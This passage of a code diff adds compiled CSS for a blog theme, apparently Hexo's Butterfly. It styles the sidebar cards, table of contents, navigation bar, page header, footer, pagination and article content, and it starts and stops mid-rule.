> a.expand + .child { + display: block; +} +#aside-content .card-categories .card-category-list > .parent > a .card-category-list-name { + width: 70% !important; +} +#aside-content .card-categories .card-category-list > .parent > a .card-category-list-count { + width: calc(100% - 70% - 20px); + text-align: right; +} +#aside-content .card-categories .card-category-list > .parent > a i { + float: right; + margin-right: -0.5em; + padding: 0.5em; + -webkit-transition: -webkit-transform 0.3s; + -moz-transition: -moz-transform 0.3s; + -o-transition: -o-transform 0.3s; + -ms-transition: -ms-transform 0.3s; + transition: transform 0.3s; + -webkit-transform: rotate(0); + -moz-transform: rotate(0); + -o-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); +} +#aside-content .card-webinfo .webinfo .webinfo-item { + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-align: center; + -moz-box-align: center; + -o-box-align: center; + -ms-flex-align: center; + -webkit-align-items: center; + align-items: center; + padding: 2px 10px 0; +} +#aside-content .card-webinfo .webinfo .webinfo-item div:first-child { + -webkit-box-flex: 1; + -moz-box-flex: 1; + -o-box-flex: 1; + box-flex: 1; + -webkit-flex: 1; + -ms-flex: 1; + flex: 1; + padding-right: 20px; +} +@media screen and (min-width: 901px) { + #aside-content #card-toc { + right: 0 !important; + } +} +@media screen and (max-width: 900px) { + #aside-content #card-toc { + position: fixed; + right: 55px; + bottom: 30px; + z-index: 100; + max-width: 380px; + max-height: calc(100% - 60px); + width: calc(100% - 80px); + -webkit-transition: none; + -moz-transition: none; + -o-transition: none; + -ms-transition: none; + transition: none; + -webkit-transform: scale(0); + -moz-transform: scale(0); + -o-transform: scale(0); + -ms-transform: scale(0); + transform: scale(0); + -webkit-transform-origin: right bottom; + -moz-transform-origin: right bottom; + -o-transform-origin: right bottom; + -ms-transform-origin: right bottom; + transform-origin: right bottom; + } + #aside-content #card-toc.open { + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } +} +#aside-content #card-toc .toc-percentage { + float: right; + margin-top: -9px; + color: #a9a9a9; + font-style: italic; + font-size: 140%; +} +#aside-content #card-toc .toc-content { + overflow-y: scroll; + overflow-y: overlay; + margin: 0 -24px; + max-height: calc(100vh - 120px); + width: calc(100% + 48px); +} +@media screen and (max-width: 900px) { + #aside-content #card-toc .toc-content { + max-height: calc(100vh - 140px); + } +} +#aside-content #card-toc .toc-content > * { + margin: 0 20px !important; +} +#aside-content #card-toc .toc-content > * > .toc-item > .toc-child { + margin-left: 10px; + padding-left: 10px; + border-left: 1px solid var(--dark-grey); +} +#aside-content #card-toc .toc-content:not(.is-expand) .toc-child { + display: none; +} +@media screen and (max-width: 900px) { + #aside-content #card-toc .toc-content:not(.is-expand) .toc-child { + display: block !important; + } +} +#aside-content #card-toc .toc-content:not(.is-expand) .toc-item.active .toc-child { + display: block; +} +#aside-content #card-toc .toc-content ol, +#aside-content #card-toc .toc-content li { + list-style: none; +} +#aside-content #card-toc .toc-content > ol { + padding: 0 !important; +} +#aside-content #card-toc .toc-content ol { + margin: 0; + padding-left: 18px; +} +#aside-content #card-toc .toc-content .toc-link { + display: block; + margin: 4px 0; + padding: 1px 6px; + color: var(--toc-link-color); + -webkit-transition: all 0.2s ease-in-out; + -moz-transition: all 0.2s ease-in-out; + -o-transition: all 0.2s ease-in-out; + -ms-transition: all 0.2s ease-in-out; + transition: all 0.2s ease-in-out; +} +#aside-content #card-toc .toc-content .toc-link:hover { + color: #49b1f5; +} +#aside-content #card-toc .toc-content .toc-link.active { + background: #00c4b6; + color: #fff; +} +#aside-content .sticky_layout:only-child > :first-child { + margin-top: 0; +} +#aside-content .card-more-btn { + float: right; + color: inherit; +} +#aside-content .card-more-btn:hover { + -webkit-animation: more-btn-move 1s infinite; + -moz-animation: more-btn-move 1s infinite; + -o-animation: more-btn-move 1s infinite; + -ms-animation: more-btn-move 1s infinite; + animation: more-btn-move 1s infinite; +} +#aside-content .card-announcement .item-headline i { + color: #f00; +} +.avatar-img { + overflow: hidden; + margin: 0 auto; + width: 110px; + height: 110px; + border-radius: 70px; +} +.avatar-img img { + width: 100%; + height: 100%; + -webkit-transition: filter 375ms ease-in 0.2s, -webkit-transform 0.3s; + -moz-transition: filter 375ms ease-in 0.2s, -moz-transform 0.3s; + -o-transition: filter 375ms ease-in 0.2s, -o-transform 0.3s; + -ms-transition: filter 375ms ease-in 0.2s, -ms-transform 0.3s; + transition: filter 375ms ease-in 0.2s, transform 0.3s; + object-fit: cover; +} +.avatar-img img:hover { + -webkit-transform: rotate(360deg); + -moz-transform: rotate(360deg); + -o-transform: rotate(360deg); + -ms-transform: rotate(360deg); + transform: rotate(360deg); +} +.site-data { + display: table; + width: 100%; + table-layout: fixed; +} +.site-data > a { + display: table-cell; +} +.site-data > a div { + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; +} +.site-data > a:hover div { + color: #49b1f5 !important; +} +.site-data > a .headline { + color: var(--font-color); +} +.site-data > a .length-num { + margin-top: -0.32em; + color: var(--text-highlight-color); + font-size: 1.4em; +} +@media screen and (min-width: 900px) { + html.hide-aside .layout { + -webkit-box-pack: center; + -moz-box-pack: center; + -o-box-pack: center; + -ms-flex-pack: center; + -webkit-justify-content: center; + justify-content: center; + } + html.hide-aside .layout > .aside-content { + display: none; + } + html.hide-aside .layout > div:first-child { + width: 80%; + } +} +.page .sticky_layout { + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-orient: vertical; + -moz-box-orient: vertical; + -o-box-orient: vertical; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +@-moz-keyframes more-btn-move { + 0%, 100% { + -webkit-transform: translateX(0); + -moz-transform: translateX(0); + -o-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } + 50% { + -webkit-transform: translateX(3px); + -moz-transform: translateX(3px); + -o-transform: translateX(3px); + -ms-transform: translateX(3px); + transform: translateX(3px); + } +} +@-webkit-keyframes more-btn-move { + 0%, 100% { + -webkit-transform: translateX(0); + -moz-transform: translateX(0); + -o-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } + 50% { + -webkit-transform: translateX(3px); + -moz-transform: translateX(3px); + -o-transform: translateX(3px); + -ms-transform: translateX(3px); + transform: translateX(3px); + } +} +@-o-keyframes more-btn-move { + 0%, 100% { + -webkit-transform: translateX(0); + -moz-transform: translateX(0); + -o-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } + 50% { + -webkit-transform: translateX(3px); + -moz-transform: translateX(3px); + -o-transform: translateX(3px); + -ms-transform: translateX(3px); + transform: translateX(3px); + } +} +@keyframes more-btn-move { + 0%, 100% { + -webkit-transform: translateX(0); + -moz-transform: translateX(0); + -o-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } + 50% { + -webkit-transform: translateX(3px); + -moz-transform: translateX(3px); + -o-transform: translateX(3px); + -ms-transform: translateX(3px); + transform: translateX(3px); + } +} +@-moz-keyframes toc-open { + 0% { + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } + 100% { + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } +} +@-webkit-keyframes toc-open { + 0% { + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } + 100% { + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } +} +@-o-keyframes toc-open { + 0% { + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } + 100% { + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } +} +@keyframes toc-open { + 0% { + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } + 100% { + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } +} +@-moz-keyframes toc-close { + 0% { + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } + 100% { + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } +} +@-webkit-keyframes toc-close { + 0% { + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } + 100% { + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } +} +@-o-keyframes toc-close { + 0% { + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } + 100% { + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } +} +@keyframes toc-close { + 0% { + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } + 100% { + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } +} +#post-comment .comment-head { + margin-bottom: 20px; +} +#post-comment .comment-head:after { + display: block; + clear: both; + content: ''; +} +#post-comment .comment-head .comment-headline { + display: inline-block; + vertical-align: middle; + font-weight: 700; + font-size: 1.43em; +} +#post-comment .comment-head .comment-switch { + display: inline-block; + float: right; + margin: 2px auto 0; + padding: 4px 16px; + width: max-content; + border-radius: 8px; + background: #f6f8fa; +} +#post-comment .comment-head .comment-switch .first-comment { + color: #49b1f5; +} +#post-comment .comment-head .comment-switch .second-comment { + color: #ff7242; +} +#post-comment .comment-head .comment-switch #switch-btn { + position: relative; + display: inline-block; + margin: -4px 8px 0; + width: 42px; + height: 22px; + border-radius: 34px; + background-color: #49b1f5; + vertical-align: middle; + cursor: pointer; + -webkit-transition: 0.4s; + -moz-transition: 0.4s; + -o-transition: 0.4s; + -ms-transition: 0.4s; + transition: 0.4s; +} +#post-comment .comment-head .comment-switch #switch-btn:before { + position: absolute; + bottom: 4px; + left: 4px; + width: 14px; + height: 14px; + border-radius: 50%; + background-color: #fff; + content: ''; + -webkit-transition: 0.4s; + -moz-transition: 0.4s; + -o-transition: 0.4s; + -ms-transition: 0.4s; + transition: 0.4s; +} +#post-comment .comment-wrap > div { + -webkit-animation: tabshow 0.5s; + -moz-animation: tabshow 0.5s; + -o-animation: tabshow 0.5s; + -ms-animation: tabshow 0.5s; + animation: tabshow 0.5s; +} +#post-comment .comment-wrap > div:nth-child(2) { + display: none; +} +#post-comment.move #switch-btn { + background-color: #ff7242; +} +#post-comment.move #switch-btn:before { + -webkit-transform: translateX(20px); + -moz-transform: translateX(20px); + -o-transform: translateX(20px); + -ms-transform: translateX(20px); + transform: translateX(20px); +} +#post-comment.move .comment-wrap > div:first-child { + display: none; +} +#post-comment.move .comment-wrap > div:last-child { + display: block; +} +#footer { + position: relative; + background-color: #49b1f5; + background-attachment: scroll; + background-position: bottom; + background-size: cover; +} +#footer:before { + position: absolute; + width: 100%; + height: 100%; + background-color: var(--mark-bg); + content: ''; +} +#footer-wrap { + position: relative; + padding: 40px 20px; + color: var(--light-grey); + text-align: center; +} +#footer-wrap a { + color: var(--light-grey); +} +#footer-wrap a:hover { + text-decoration: underline; +} +#footer-wrap .footer-separator { + margin: 0 4px; +} +#footer-wrap .icp-icon { + padding: 0 4px; + max-height: 1.4em; + width: auto; + vertical-align: text-bottom; +} +#page-header { + position: relative; + width: 100%; + background-color: #49b1f5; + background-position: center center; + background-size: cover; + background-repeat: no-repeat; + -webkit-transition: all 0.5s; + -moz-transition: all 0.5s; + -o-transition: all 0.5s; + -ms-transition: all 0.5s; + transition: all 0.5s; +} +#page-header:not(.not-top-img):before { + position: absolute; + width: 100%; + height: 100%; + background-color: var(--mark-bg); + content: ''; +} +#page-header.full_page { + height: 100vh; + background-attachment: fixed; +} +#page-header.full_page #site-info { + position: absolute; + top: 43%; + padding: 0 10px; + width: 100%; +} +#page-header #site-title, +#page-header #site-subtitle, +#page-header #scroll-down .scroll-down-effects { + text-align: center; + text-shadow: 2px 2px 4px rgba(0,0,0,0.15); + line-height: 1.5; +} +#page-header #site-title { + margin: 0; + color: var(--white); + font-size: 1.85em; +} +@media screen and (min-width: 768px) { + #page-header #site-title { + font-size: 2.85em; + } +} +#page-header #site-subtitle { + color: var(--light-grey); + font-size: 1.15em; +} +@media screen and (min-width: 768px) { + #page-header #site-subtitle { + font-size: 1.72em; + } +} +#page-header #site_social_icons { + display: none; + margin: 0 auto; + text-align: center; +} +@media screen and (max-width: 768px) { + #page-header #site_social_icons { + display: block; + } +} +#page-header #site_social_icons .social-icon { + margin: 0 10px; + color: var(--light-grey); + text-shadow: 2px 2px 4px rgba(0,0,0,0.15); + font-size: 1.43em; +} +#page-header #scroll-down { + position: absolute; + bottom: 10px; + width: 100%; + cursor: pointer; +} +#page-header #scroll-down .scroll-down-effects { + position: relative; + width: 100%; + color: var(--light-grey); + font-size: 20px; +} +#page-header.not-home-page { + height: 400px; +} +@media screen and (max-width: 768px) { + #page-header.not-home-page { + height: 280px; + } +} +#page-header #page-site-info { + position: absolute; + top: 200px; + padding: 0 10px; + width: 100%; +} +@media screen and (max-width: 768px) { + #page-header #page-site-info { + top: 140px; + } +} +#page-header.post-bg { + height: 400px; +} +@media screen and (max-width: 768px) { + #page-header.post-bg { + height: 360px; + } +} +#page-header #post-info { + position: absolute; + bottom: 100px; + padding: 0 8%; + width: 100%; + text-align: center; +} +@media screen and (max-width: 900px) { + #page-header #post-info { + bottom: 30px; + text-align: left; + } +} +@media screen and (max-width: 768px) { + #page-header #post-info { + bottom: 22px; + padding: 0 22px; + } +} +#page-header.not-top-img { + margin-bottom: 10px; + height: 60px; + background: 0; +} +#page-header.not-top-img #nav { + background: rgba(255,255,255,0.8); + -webkit-box-shadow: 0 5px 6px -5px rgba(133,133,133,0.6); + box-shadow: 0 5px 6px -5px rgba(133,133,133,0.6); +} +#page-header.not-top-img #nav a, +#page-header.not-top-img #nav .site-name { + color: var(--font-color); + text-shadow: none; +} +#page-header.nav-fixed #nav { + position: fixed; + top: -60px; + z-index: 91; + background: rgba(255,255,255,0.8); + -webkit-box-shadow: 0 5px 6px -5px rgba(133,133,133,0.6); + box-shadow: 0 5px 6px -5px rgba(133,133,133,0.6); + -webkit-transition: -webkit-transform 0.2s ease-in-out, opacity 0.2s ease-in-out; + -moz-transition: -moz-transform 0.2s ease-in-out, opacity 0.2s ease-in-out; + -o-transition: -o-transform 0.2s ease-in-out, opacity 0.2s ease-in-out; + -ms-transition: -ms-transform 0.2s ease-in-out, opacity 0.2s ease-in-out; + transition: transform 0.2s ease-in-out, opacity 0.2s ease-in-out; +} +#page-header.nav-fixed #nav #blog-info { + color: var(--font-color); +} +#page-header.nav-fixed #nav #blog-info:hover { + color: #49b1f5; +} +#page-header.nav-fixed #nav #blog-info .site-name { + text-shadow: none; +} +#page-header.nav-fixed #nav a, +#page-header.nav-fixed #nav #toggle-menu { + color: var(--font-color); + text-shadow: none; +} +#page-header.nav-fixed #nav a:hover, +#page-header.nav-fixed #nav #toggle-menu:hover { + color: #49b1f5; +} +#page-header.nav-fixed.fixed #nav { + top: 0; + -webkit-transition: all 0.5s; + -moz-transition: all 0.5s; + -o-transition: all 0.5s; + -ms-transition: all 0.5s; + transition: all 0.5s; +} +#page-header.nav-visible:not(.fixed) #nav { + -webkit-transition: all 0.5s; + -moz-transition: all 0.5s; + -o-transition: all 0.5s; + -ms-transition: all 0.5s; + transition: all 0.5s; + -webkit-transform: translate3d(0, 100%, 0); + -moz-transform: translate3d(0, 100%, 0); + -o-transform: translate3d(0, 100%, 0); + -ms-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +#page-header.nav-visible:not(.fixed) + .layout > .aside-content > .sticky_layout { + top: 70px; + -webkit-transition: top 0.5s; + -moz-transition: top 0.5s; + -o-transition: top 0.5s; + -ms-transition: top 0.5s; + transition: top 0.5s; +} +#page-header.fixed #nav { + position: fixed; +} +#page-header.fixed + .layout > .aside-content > .sticky_layout { + top: 70px; + -webkit-transition: top 0.5s; + -moz-transition: top 0.5s; + -o-transition: top 0.5s; + -ms-transition: top 0.5s; + transition: top 0.5s; +} +#page-header.fixed + .layout #card-toc .toc-content { + max-height: calc(100vh - 170px); +} +#page h1.page-title { + margin: 8px 0 20px; +} +#post > #post-info { + margin-bottom: 30px; +} +#post > #post-info .post-title { + padding-bottom: 4px; + border-bottom: 1px solid var(--light-grey); + color: var(--text-highlight-color); +} +#post > #post-info .post-title .post-edit-link { + float: right; +} +#post > #post-info #post-meta, +#post > #post-info #post-meta a { + color: #78818a; +} +#post-info .post-title { + margin-bottom: 8px; + color: var(--white); + font-weight: normal; + font-size: 2.5em; + line-height: 1.5; + -webkit-line-clamp: 3; +} +@media screen and (max-width: 768px) { + #post-info .post-title { + font-size: 2.1em; + } +} +#post-info .post-title .post-edit-link { + padding-left: 10px; +} +#post-info #post-meta { + color: var(--light-grey); + font-size: 95%; +} +@media screen and (min-width: 768px) { + #post-info #post-meta > .meta-secondline > span:first-child { + display: none; + } +} +@media screen and (max-width: 768px) { + #post-info #post-meta { + font-size: 90%; + } + #post-info #post-meta > .meta-firstline, + #post-info #post-meta > .meta-secondline { + display: inline; + } +} +#post-info #post-meta .post-meta-separator { + margin: 0 5px; +} +#post-info #post-meta .post-meta-icon { + margin-right: 4px; +} +#post-info #post-meta .post-meta-label { + margin-right: 4px; +} +#post-info #post-meta a { + color: var(--light-grey); + -webkit-transition: all 0.3s ease-out; + -moz-transition: all 0.3s ease-out; + -o-transition: all 0.3s ease-out; + -ms-transition: all 0.3s ease-out; + transition: all 0.3s ease-out; +} +#post-info #post-meta a:hover { + color: #49b1f5; + text-decoration: underline; +} +#nav { + position: absolute; + top: 0; + z-index: 90; + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-align: center; + -moz-box-align: center; + -o-box-align: center; + -ms-flex-align: center; + -webkit-align-items: center; + align-items: center; + padding: 0 36px; + width: 100%; + height: 60px; + font-size: 1.3em; + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transition: all 0.5s; + -moz-transition: all 0.5s; + -o-transition: all 0.5s; + -ms-transition: all 0.5s; + transition: all 0.5s; +} +@media screen and (max-width: 768px) { + #nav { + padding: 0 16px; + } +} +#nav.show { + opacity: 1; + -ms-filter: none; + filter: none; +} +#nav #blog-info { + -webkit-box-flex: 1; + -moz-box-flex: 1; + -o-box-flex: 1; + box-flex: 1; + -webkit-flex: 1; + -ms-flex: 1; + flex: 1; + color: var(--light-grey); +} +#nav #blog-info .site-icon { + margin-right: 6px; + height: 36px; + vertical-align: middle; +} +#nav #toggle-menu { + display: none; + padding: 2px 0 0 6px; + vertical-align: top; +} +#nav #toggle-menu:hover { + color: var(--white); +} +#nav a { + color: var(--light-grey); +} +#nav a:hover { + color: var(--white); +} +#nav .site-name { + text-shadow: 2px 2px 4px rgba(0,0,0,0.15); + font-weight: bold; +} +#nav .menus_items { + display: inline; +} +#nav .menus_items .menus_item { + position: relative; + display: inline-block; + padding: 0 0 0 14px; +} +#nav .menus_items .menus_item:hover .menus_item_child { + display: block; +} +#nav .menus_items .menus_item:hover > a > i:last-child { + -webkit-transform: rotate(180deg); + -moz-transform: rotate(180deg); + -o-transform: rotate(180deg); + -ms-transform: rotate(180deg); + transform: rotate(180deg); +} +#nav .menus_items .menus_item > a > i:last-child { + padding: 4px; + -webkit-transition: -webkit-transform 0.3s; + -moz-transition: -moz-transform 0.3s; + -o-transition: -o-transform 0.3s; + -ms-transition: -ms-transform 0.3s; + transition: transform 0.3s; +} +#nav .menus_items .menus_item .menus_item_child { + position: absolute; + right: 0; + display: none; + margin-top: 8px; + padding: 0; + width: max-content; + border-radius: 5px; + background-color: var(--sidebar-bg); + -webkit-box-shadow: 0 5px 20px -4px rgba(0,0,0,0.5); + box-shadow: 0 5px 20px -4px rgba(0,0,0,0.5); + -webkit-animation: sub_menus 0.3s 0.1s ease both; + -moz-animation: sub_menus 0.3s 0.1s ease both; + -o-animation: sub_menus 0.3s 0.1s ease both; + -ms-animation: sub_menus 0.3s 0.1s ease both; + animation: sub_menus 0.3s 0.1s ease both; +} +#nav .menus_items .menus_item .menus_item_child:before { + position: absolute; + top: -8px; + left: 0; + width: 100%; + height: 20px; + content: ''; +} +#nav .menus_items .menus_item .menus_item_child li { + list-style: none; +} +#nav .menus_items .menus_item .menus_item_child li:hover { + background: var(--text-bg-hover); +} +#nav .menus_items .menus_item .menus_item_child li:first-child { + border-top-left-radius: 5px; + border-top-right-radius: 5px; +} +#nav .menus_items .menus_item .menus_item_child li:last-child { + border-bottom-right-radius: 5px; + border-bottom-left-radius: 5px; +} +#nav .menus_items .menus_item .menus_item_child li a { + display: inline-block; + padding: 8px 16px; + width: 100%; + color: var(--font-color) !important; + text-shadow: none !important; +} +#nav.hide-menu #toggle-menu { + display: inline-block !important; +} +#nav.hide-menu #toggle-menu .site-page { + font-size: inherit; +} +#nav.hide-menu .menus_items { + display: none; +} +#nav.hide-menu #search-button span { + display: none; +} +#nav #search-button { + display: inline; + padding: 0 0 0 14px; +} +#nav .site-page { + position: relative; + padding-bottom: 6px; + text-shadow: 1px 1px 2px rgba(0,0,0,0.3); + font-size: 0.78em; + cursor: pointer; +} +#nav .site-page:not(.child):after { + position: absolute; + bottom: 0; + left: 0; + z-index: -1; + width: 0; + height: 3px; + background-color: #80c8f8; + content: ''; + -webkit-transition: all 0.3s ease-in-out; + -moz-transition: all 0.3s ease-in-out; + -o-transition: all 0.3s ease-in-out; + -ms-transition: all 0.3s ease-in-out; + transition: all 0.3s ease-in-out; +} +#nav .site-page:not(.child):hover:after { + width: 100%; +} +#pagination .pagination { + margin-top: 20px; + text-align: center; +} +#pagination .page-number.current { + background: #00c4b6; + color: var(--white); +} +#pagination .pagination-info { + position: absolute; + top: 50%; + padding: 20px 40px; + width: 100%; + -webkit-transform: translate(0, -50%); + -moz-transform: translate(0, -50%); + -o-transform: translate(0, -50%); + -ms-transform: translate(0, -50%); + transform: translate(0, -50%); +} +#pagination .prev_info, +#pagination .next_info { + color: var(--white); + font-weight: 500; +} +#pagination .next-post .pagination-info { + text-align: right; +} +#pagination .pull-full { + width: 100% !important; +} +#pagination .prev-post .label, +#pagination .next-post .label { + color: var(--light-grey); + text-transform: uppercase; + font-size: 90%; +} +#pagination .prev-post, +#pagination .next-post { + width: 50%; +} +@media screen and (max-width: 768px) { + #pagination .prev-post, + #pagination .next-post { + width: 100%; + } +} +#pagination .prev-post a, +#pagination .next-post a { + position: relative; + display: block; + overflow: hidden; + height: 150px; +} +#pagination.pagination-post { + overflow: hidden; + margin-top: 40px; + width: 100%; + background: #000; +} +.layout > .recent-posts .pagination > * { + display: inline-block; + margin: 0 6px; + width: 2.5em; + height: 2.5em; + line-height: 2.5em; +} +.layout > .recent-posts .pagination > *:not(.space):hover { + background: var(--btn-hover-color); + color: var(--btn-color); +} +.layout > div:not(.recent-posts) .pagination .page-number { + display: inline-block; + margin: 0 4px; + min-width: 24px; + height: 24px; + text-align: center; + line-height: 24px; + cursor: pointer; +} +#article-container { + word-wrap: break-word; + overflow-wrap: break-word; +} +#article-container a { + color: #49b1f5; +} +#article-container a:hover { + text-decoration: underline; +} +#article-container img { + display: block; + margin: 0 auto 20px; + max-width: 100%; + -webkit-transition: filter 375ms ease-in 0.2s; + -moz-transition: filter 375ms ease-in 0.2s; + -o-transition: filter 375ms ease-in 0.2s; + -ms-transition: filter 375ms ease-in 0.2s; + transition: filter 375ms ease-in 0.2s; +} +#article-container p { + margin: 0 0 16px; +} +#article-container iframe { + margin: 0 0 20px; +} +#article-container kbd { + margin: 0 3px; + padding: 3px 5px; + border: 1px solid #b4b4b4; + border-radius: 3px; + background-color: #f8f8f8; + -webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.25), 0 2px 1px 0 rgba(255,255,255,0.6) inset; + box-shadow: 0 1px 3px rgba(0,0,0,0.25), 0 2px 1px 0 rgba(255,255,255,0.6) inset; + color: #34495e; + white-space: nowrap; + font-weight: 600; + font-size: 0.9em; + font-family: Monaco, 'Ubuntu Mono', monospace; + line-height: 1em; +} +#article-container ol ol, +#article-container ul ol, +#article-container ol ul, +#article-container ul ul { + padding-left: 20px; +} +#article-container ol li, +#article-container ul li { + margin: 4px 0; +} +#article-container ol p, +#article-container ul p { + margin: 0 0 8px; +} +#article-container > :last-child { + margin-bottom: 0 !important; +} +#article-container hr { + margin: 20px 0; +} +#article-container.post-content h1, +#article-container.post-content h2, +#article-container.post-content h3, +#article-container.post-content h4, +#article-container.post-content h5, +#article-container.post-content h6 { + -webkit-transition: all 0.2s ease-out; + -moz-transition: all 0.2s ease-out; + -o-transition: all 0.2s ease-out; + -ms-transition: all 0.2s ease-out; + transition: all 0.2s ease-out; +} +#article-container.post-content h1:before, +#article-container.post-content h2:before, +#article-container.post-content h3:before, +#article-container.post-content h4:before, +#article-container.post-content h5:before, +#article-container.post-content h6:before { + position: absolute; + top: calc(50% - 7px); + color: #2fc0d6; + content: '\f0c1'; + left: 0; + line-height: 1; + -webkit-transition: all 0.2s ease-out; + -moz-transition: all 0.2s ease-out; + -o-transition: all 0.2s ease-out; + -ms-transition: all 0.2s ease-out; + transition: all 0.2s ease-out; +} +#article-container.post-content h1:hover:before, +#article-container.post-content h2:hover:before, +#article-container.post-content h3:hover:before, +#article-container.post-content h4:hover:before, +#article-container.post-content h5:hover:before, +#article-container.post-content h6:hover:before { + color: #49b1f5; +} +#article-container.post-content h1 { + padding-left: 28px; +} +#article-container.post-content h1:before { + font-size: 18px; +} +#article-container.post-content h1:hover { + padding-left: 32px; +} +#article-container.post-content h2 { + padding-left: 26px; +} +#article-container.post-content h2:before { + font-size: 16px; +} +#article-container.post-content h2:hover { + padding-left: 30px; +} +#article-container.post-content h3 { + padding-left: 24px; +} +#article-container.post-content h3:before { + font-size: 14px; +} +#article-container.post-content h3:hover { + padding-left: 28px; +} +#article-container.post-content h4 { + padding-left: 22px; +} +#article-container.post-content h4:before { + font-size: 12px; +} +#article-container.post-content h4:hover { + padding-left: 26px; +} +#article-container.post-content h5 { + padding-left: 20px; +} +#article-container.post-content h5:before { + font-size: 10px; +} +#article-container.post-content h5:hover { + padding-left: 24px; +} +#article-container.post-content h6 { + padding-left: 20px; +} +#article-container.post-content h6:before { + font-size: 10px; +} +#article-container.post-content h6:hover { + padding-left: 24px; +} +#article-container.post-content ol p, +#article-container.post-content ul p { + margin: 0 0 8px; +} +#article-container.post-content li::marker { + color: #49b1f5; + font-weight: 600; + font-size: 1.05em; +} +#article-container.post-content li:hover::marker { + color: var(--pseudo-hover); +} +#article-container.post-content ul > li { + list-style-type: circle; +} +#post .tag_share:after { + display: block; + clear: both; + content: ''; +} +#post .tag_share .post-meta__tag-list { + display: inline-block; +} +#post .tag_share .post-meta__tags { + display: inline-block; + margin: 8px 8px 8px 0; + padding: 0 12px; + width: fit-content; + border: 1px solid #49b1f5; + border-radius: 12px; + color: #49b1f5; + font-size: 0.85em; + -webkit-transition: all 0.2s ease-in-out; + -moz-transition: all 0.2s ease-in-out; + -o-transition: all 0.2s ease-in-out; + -ms-transition: all 0.2s ease-in-out; + transition: all 0.2s ease-in-out; +} +#post .tag_share .post-meta__tags:hover { + background: #49b1f5; + color: var(--white); +} +#post .tag_share .post_share { + display: inline-block; + float: right; + margin: 8px 0 0; + width: fit-content; +} +#post .tag_share .post_share .social-share { + font-size: 0.85em; +} +#post .tag_share .post_share .social-share .social-share-icon { + margin: 0 4px; + width: 1.85em; + height: 1.85em; + font-size: 1.2em; + line-height: 1.85em; +} +#post .post-copyright { + position: relative; + margin: 40px 0 10px; + padding: 10px 16px; + border: 1px solid var(--light-grey); + -webkit-transition: box-shadow 0.3s ease-in-out; + -moz-transition: box-shadow 0.3s ease-in-out; + -o-transition: box-shadow 0.3s ease-in-out; + -ms-transition: box-shadow 0.3s ease-in-out; + transition: box-shadow 0.3s ease-in-out; +} +#post .post-copyright:before { + position: absolute; + top: 2px; + right: 12px; + color: #49b1f5; + content: '\f1f9'; + font-size: 1.3em; +} +#post .post-copyright:hover { + -webkit-box-shadow: 0 0 8px 0 rgba(232,237,250,0.6), 0 2px 4px 0 rgba(232,237,250,0.5); + box-shadow: 0 0 8px 0 rgba(232,237,250,0.6), 0 2px 4px 0 rgba(232,237,250,0.5); +} +#post .post-copyright .post-copyright-meta { + color: #49b1f5; + font-weight: bold; +} +#post .post-copyright .post-copyright-meta i { + margin-right: 3px; +} +#post .post-copyright .post-copyright-info { + padding-left: 6px; +} +#post .post-copyright .post-copyright-info a { + text-decoration: underline; + word-break: break-word; +} +#post .post-copyright .post-copyright-info a:hover { + text-decoration: none; +} +#post .post-outdate-notice { + position: relative; + margin: 0 0 20px; + padding: 0.5em 1.2em; + border-radius: 3px; + background-color: #ffe6e6; + color: #f66; + padding: 0.5em 1em 0.5em 2.6em; + border-left: 5px solid 